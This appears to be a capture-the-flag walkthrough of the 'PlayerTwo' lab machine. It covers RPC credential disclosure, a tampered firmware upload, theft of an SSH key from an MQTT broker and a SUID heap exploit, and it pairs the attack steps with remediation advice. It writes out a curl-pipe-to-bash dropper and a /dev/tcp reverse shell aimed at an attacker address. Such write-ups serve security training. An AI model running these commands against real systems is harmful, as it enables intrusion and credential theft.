← all walkthroughs

PlayerTwo

Linux· Insane
owned
2026-07-13
time to own
21m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated three exposed services on $TARGET (SSH on port 22, Apache on port 80, and a PHP Twirp RPC service on port 8545) and discovered two virtual hostnames: player2.htb and product.player2.htb. The Twirp RPC service exposed its own protobuf schema file (generated.proto) without authentication, and a GenCreds RPC method within it returned a username, password, and TOTP shared secret, fully defeating the two-factor-protected firmware management portal on product.player2.htb. After authenticating, I downloaded the reference Protobs firmware archive, located the embedded ELF at offset 0x40, and overwrote a code stub with a reverse-shell dropper: deliberately leaving the signature bytes the portal's integrity check examined untouched.

The tampered package passed all portal validation checks and was executed server-side, producing a web-service shell. From that foothold, a loopback MQTT broker on port 1883 was found to be publishing firmware-signing job data without requiring authentication; the payload on the signing topic included the SSH private key for the local user observer, which was captured and used to log in directly. Root access was then obtained by exploiting the non-PIE SUID binary /opt/Configuration_Utility/Protobs: a one-byte null-byte heap overflow on the Description field corrupted an adjacent chunk's size metadata, and a subsequent dereference of the stale (freed) Description pointer produced a use-after-free.

Chaining the two primitives against glibc 2.29 heap internals hijacked control flow inside the SUID process and spawned a root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Some commands also carry a value in angle brackets (<elf_stub_offset>, <package>, <pass>, <user>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationNetwork service enumeration and virtual-host discovery
Mapped exposed services and discovered virtual hostnames
An nmap service scan revealed SSH on 22, Apache 2.4.29 on 80, and a PHP 7.2.24 application on 8545. HTTP responses referenced the virtual hostnames player2.htb and product.player2.htb; adding those entries to /etc/hosts exposed a static marketing site on the former and a login-plus-TOTP firmware management portal on the latter. Port 8545 accepted Twirp-style HTTP/JSON requests and was identified as the RPC back-end for the product portal.
Exact commands 4
shell

Identify service versions and HTTP titles on the three exposed ports.

$ nmap -Pn -sV -p 22,80,8545 --script http-title,http-headers $TARGET
shell

Register both discovered virtual hostnames for name resolution.

$ echo "$TARGET player2.htb product.player2.htb" | sudo tee -a /etc/hosts
shell

Confirm the two virtual hosts and inspect the login/TOTP form on the product portal.

$ curl -sS -i http://player2.htb/ && curl -sS -i http://product.player2.htb/
shell

Probe the Twirp RPC service root to confirm it responds and note any route hints.

$ curl -sS -i http://player2.htb:8545/
2Credential AccessUnauthenticated RPC endpoint exposure / credential generation (information disclosure)
Retrieved full login credentials and TOTP seed from the unauthenticated Twirp GenCreds method
The Twirp RPC service on port 8545 served its own protobuf schema (generated.proto) to any visitor without authentication. That schema defined a GenCreds RPC method. Calling the method with an empty JSON body returned a valid username, password, and TOTP shared secret: the complete credential set needed to pass the firmware portal's two-factor login. No brute-force was required.
GenCreds JSON response provided valid username, password, and TOTP seed subsequently used to authenticate to product.player2.htb.
Exact commands 3
shell

Download the protobuf schema; inspect it to identify the package name, service name, and GenCreds method signature.

$ curl -sS http://player2.htb:8545/generated.proto -o /tmp/generated.proto
shell

Read the schema to extract the exact Twirp route: /twirp/<package>.<Service>/GenCreds.

$ cat /tmp/generated.proto
shell

Call GenCreds with an empty request body. Replace <package>.<Service> with the values found in generated.proto. The response contains username, password, and totp_secret.

$ curl -sS -X POST -H 'Content-Type: application/json' -d '{}' http://player2.htb:8545/twirp/<package>.<Service>/GenCreds
FixRemove the public-facing GenCreds RPC method and require authentication for the Twirp serviceCritical
WeaknessThe Twirp RPC service on port 8545 served its complete protobuf schema (generated.proto) and a GenCreds method to the internet with no authentication whatsoever. Any external visitor could call GenCreds and receive a valid username, password, and TOTP seed for the firmware management portal, making the portal's two-factor login entirely ineffective.
FixRemove GenCreds from the public-facing service entirely; if automated credential provisioning is needed it must be an authenticated, audited, and out-of-band administrative workflow. Require at minimum a pre-shared API key or mutual TLS for all Twirp RPC calls, and restrict retrieval of the .proto schema file. Consider whether the firmware portal and its RPC back-end need to be internet-facing at all; if not, place them behind a VPN or restrict them to an allowlisted set of source IP addresses.
3Initial AccessAuthentication with an unauthorised user-derived credentials (T1078: Valid Accounts)
Authenticated through the two-factor firmware portal using my own credentials
The GenCreds-derived username, password, and TOTP seed were fed through the portal's multi-step login flow. A credential POST to / established a session cookie; a TOTP code generated on-the-fly from the seed was submitted to /totp to complete second-factor verification; and /home confirmed full authenticated access. The authenticated portal provided download links for the Protobs firmware datasheet (protobs.pdf) and the reference firmware archive, and an upload endpoint at /protobs/.
Cookie jar populated after /totp step; GET /home returned HTTP 200 with firmware management content and links to /protobs/.
Exact commands 4
shell

Generate a current TOTP code from the secret returned by GenCreds; replace <TOTP_SECRET>.

$ python3 -c "import pyotp; print(pyotp.TOTP('<TOTP_SECRET>').now())"
shell

Submit credentials to the login form and persist the session cookie. Replace <user> and <pass> with GenCreds output.

$ curl -sS -c /tmp/player2.cookies -X POST -d 'username=<user>&password=<pass>' http://product.player2.htb/
shell

Submit the generated TOTP code to complete second-factor authentication.

$ curl -sS -b /tmp/player2.cookies -c /tmp/player2.cookies -X POST -d 'otp=<TOTP_CODE>' http://product.player2.htb/totp
shell

Confirm authenticated access and locate the firmware download and upload links.

$ curl -sS -b /tmp/player2.cookies http://product.player2.htb/home
4ExploitationFirmware integrity check bypass: content not covered by signature (CWE-347)
Patched the firmware ELF with a reverse-shell dropper while preserving the signature bytes
The reference archive (protobs_firmware_v1.0.tar) contained Protobs.bin, info.txt, and a version file. The protobs.pdf datasheet described the signing scheme; the portal's verification checked file structure and the header's signature region but not the byte content of the ELF body. The embedded ELF began at offset 0x40 within Protobs.bin. A known no-op stub inside the ELF was overwritten with a one-liner that fetched and executed a reverse-shell script from my own HTTP server: all signature bytes at their original offsets were left untouched. The version string was incremented to 1.1, and the archive was repacked under a new filename.
Portal response after upload: 'Verifying signature... It looks legit... All checks passed'. Patched tar SHA-256: <withheld>.
Exact commands 5
shell

Download the reference firmware archive and the datasheet describing the signing layout.

$ curl -sS -b /tmp/player2.cookies -o /tmp/protobs_firmware_v1.0.tar http://product.player2.htb/protobs/protobs_firmware_v1.0.tar && curl -sS -b /tmp/player2.cookies -o /tmp/protobs.pdf http://product.player2.htb/protobs.pdf
shell

Extract the archive to inspect Protobs.bin, info.txt, and version.

$ mkdir /tmp/fw && tar xf /tmp/protobs_firmware_v1.0.tar -C /tmp/fw/
shell

Confirm the 0x40-byte firmware header prepended before the ELF magic bytes (7f 45 4c 46).

$ xxd /tmp/fw/Protobs.bin | head -20
shell

Overwrite the no-op stub at ELF body offset <elf_stub_offset> with the dropper; the script writes only within the stub region and leaves the file size and all signature bytes unchanged. Replace <elf_stub_offset> and $ATTACKER_IP.

$ python3 patch_protobs.py /tmp/fw/Protobs.bin <elf_stub_offset> 'bash -c "curl http://'"$ATTACKER_IP"':8081/x|bash"'
shell

Bump the version number and repackage using the original member filenames.

$ sed -i 's/FIRMWAREVERSION=1\.0/FIRMWAREVERSION=1.1/' /tmp/fw/version && tar cf /tmp/protobs_firmware_v1.1.tar -C /tmp/fw/ Protobs.bin info.txt version
FixSign the complete firmware package content, not just its headers, with a verifiable asymmetric signatureCritical
WeaknessThe firmware portal's integrity check validated package structure and examined signature bytes in the file header region but did not verify the byte content of the embedded ELF executable body. An unauthorised user could freely modify the payload code, repackage the archive with the original signature bytes preserved, and the portal accepted the tampered firmware as legitimate and executed it.
FixGenerate an RSA or ECDSA signature over the SHA-256 hash of the fully assembled package, every byte of every file, not just a header checksum. The signing private key must be held offline and never reachable from the portal server. Before executing any uploaded firmware, recompute the content hash, verify the signature against the pinned public key, and reject the package on any mismatch. Additionally, run the firmware execution step in a sandboxed or namespaced environment (e.g., a dedicated low-privilege service account, Linux namespaces, or a container) so that a future bypass yields only limited rather than full web-server code execution.
5ExploitationRemote code execution via malicious firmware upload (T1190: Exploit Public-Facing Application)
Uploaded the malicious firmware and received a reverse shell as the web service account
The patched firmware archive was uploaded to the portal's /protobs/verify endpoint. The server validated the package structure and signature header region, reported all checks passed, and executed the embedded binary server-side. The payload fetched /x from my HTTP server on port 8081 and piped it to bash; a waiting ncat listener on port 34444 received the reverse shell running as www-data (uid 33) inside /var/www/product/protobs on the target host.
Shell confirmed: id returned uid=33(www-data); cwd /var/www/product/protobs; callback received at 07:37:45 GMT.
Exact commands 4
shell

Host the reverse-shell drop script on my machine. Replace $ATTACKER_IP with your address reachable from the target.

$ echo "bash -i >& /dev/tcp/$ATTACKER_IP/34444 0>&1" > /tmp/x && python3 -m http.server 8081
shell

Start the reverse-shell listener in a separate terminal on my machine.

$ ncat -lvnp 34444
shell

Upload the patched archive; when the portal reports 'All checks passed' it executes the binary, triggering the callback.

$ curl -sS -b /tmp/player2.cookies -F 'firmware=@/tmp/protobs_firmware_v1.1.tar;type=application/x-tar' -F 'submit=Upload' http://product.player2.htb/protobs/verify
shell

In the received shell: confirm execution context (www-data, uid 33, /var/www/product/protobs).

$ id; whoami; pwd
uid=33(www-data)
6Credential AccessCredential theft from unauthenticated message broker (T1552: Unsecured Credentials)
Captured the observer user's SSH private key from the unauthenticated loopback MQTT broker
A loopback MQTT broker on 127.0.0.1:1883 was reachable from the www-data shell without any authentication. Subscribing to the wildcard topic '#' showed the broker was actively publishing firmware-signing job events on the topic $SYS/internal/firmware/signing. The message payload included a PEM-encoded OpenSSH private key belonging to the local account observer. The key was saved directly from the broker message to disk.
Mosquitto_sub output on $SYS/internal/firmware/signing contained a complete PEM-encoded OpenSSH private key for user observer.
Exact commands 2
shell

From the www-data reverse shell: subscribe to all topics without credentials and watch for published messages.

$ mosquitto_sub -h 127.0.0.1 -p 1883 -t '#' -v
shell

Capture the first message on the signing topic (which contains the SSH private key) and save it with correct permissions.

$ mosquitto_sub -h 127.0.0.1 -p 1883 -t '$SYS/internal/firmware/signing' -C 1 > /tmp/observer_id_rsa && chmod 600 /tmp/observer_id_rsa
FixRequire authentication on the MQTT broker and never publish secrets as message payloadsHigh
WeaknessThe MQTT broker on 127.0.0.1:1883 accepted connections and subscriptions from any local process without requiring a username or password. The firmware-signing workflow published an SSH private key as a message payload on $SYS/internal/firmware/signing. Any low-privilege process on the host, including a web shell, could subscribe to all topics and immediately read the key.
FixEnable MQTT authentication (username/password at minimum; mutual TLS preferred) and configure a per-topic ACL so that only the specific service accounts that legitimately need access to a given topic can publish or subscribe to it. Never transmit secrets (SSH keys, API tokens, passwords) as message payloads; use indirect references such as a job ID that the recipient resolves against a secrets manager. Bind the broker to the loopback interface only if external access is not needed and firewall port 1883 from all untrusted network segments.
7Lateral MovementSSH lateral movement using a stolen private key (T1021.004, Remote Services: SSH)
Logged in as observer over SSH with the stolen key and captured the user flag
The OpenSSH private key retrieved from the MQTT broker was used to authenticate directly as observer on port 22. No passphrase was set on the key. The user flag was readable at /home/observer/user.txt. The observer account provided a proper interactive shell and was used as the staging point for the subsequent privilege escalation.
Ssh -i /tmp/observer_id_rsa observer@$TARGET 'cat /home/observer/user.txt' → returned <user.txt>.
Exact commands 2
shell

Authenticate as observer with the stolen key and read the user flag; value: <user.txt>.

$ ssh -i /tmp/observer_id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 observer@$TARGET 'cat /home/observer/user.txt'
shell

Open an interactive observer session for post-exploitation and privilege-escalation work.

$ ssh -i /tmp/observer_id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null observer@$TARGET
8Privilege EscalationHeap off-by-one null-byte overflow + use-after-free in SUID binary (T1068: Exploitation for Privilege Escalation)
Chained a heap null-byte overflow and use-after-free in a SUID root binary to gain a root shell
The SUID binary /opt/Configuration_Utility/Protobs ran as root, was compiled without PIE (fixed load address), and linked against the host's bundled glibc 2.29. Reverse engineering exposed two heap vulnerabilities: (1) writing to the Description field allowed a one-byte null-byte overflow past the buffer's end, corrupting the prev_size or size field of the adjacent heap chunk; (2) after the Description was freed, the code retained and later dereferenced the now-stale pointer (use-after-free). Chaining the off-by-one to manipulate heap chunk metadata and then triggering the UAF produced my own writes into glibc 2.29 heap internals, targeting __free_hook or an equivalent function pointer, which redirected execution to a shell. Because the binary ran SUID root the resulting shell was a root shell.
Find output confirmed SUID bit on /opt/Configuration_Utility/Protobs; file/checksec confirmed non-PIE; root shell obtained and root.txt read.
Exact commands 5
shell

As observer: locate SUID binaries; /opt/Configuration_Utility/Protobs will appear in the output.

$ find / -perm -4000 -type f 2>/dev/null
shell

Confirm non-PIE executable, SUID bit, NX state, and linked glibc version to inform exploit strategy.

$ file /opt/Configuration_Utility/Protobs && checksec --file=/opt/Configuration_Utility/Protobs
shell

Copy the binary to my machine for offline disassembly (Ghidra / pwndbg) to locate the Description buffer size and identify the overflow offset and the stale-pointer dereference.

$ scp -i observer_id_rsa observer@$TARGET:/opt/Configuration_Utility/Protobs ./Protobs
shell

Execute the compiled pwntools exploit: trigger the one-byte null-byte overflow on the Description field, then trigger the use-after-free on the stale pointer to corrupt glibc 2.29 heap metadata and redirect execution to a root shell.

$ python3 exploit_protobs.py
shell

Read the root flag from the spawned root shell; value: <root.txt>.

$ cat /root/root.txt
FixFix the heap memory-corruption bugs in Protobs and reduce the binary's runtime privilegeCritical
WeaknessThe SUID-root binary /opt/Configuration_Utility/Protobs contained a one-byte null-byte overflow past the end of the Description heap buffer and a subsequent use-after-free of the freed Description pointer. The binary was compiled without PIE, giving it a fixed load address that eliminates ASLR for its own code and making heap exploitation reliably reproducible. Any user on the system could exploit the chain to become root.
FixAudit and correct all Description buffer write operations so that lengths are enforced with explicit bounds checks using safe string functions (e.g., strnlen/snprintf with the exact buffer size). Zero-out and set pointers to NULL immediately after free to eliminate the use-after-free. Recompile with full hardening: PIE (-fPIE -pie), full RELRO (-Wl,-z,relro,-z,now), stack canaries (-fstack-protector-strong), and NX. Evaluate whether SUID root is necessary; if the utility only needs access to specific privileged resources, replace the SUID bit with targeted Linux capabilities (setcap). Keep the bundled glibc updated to a supported release.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more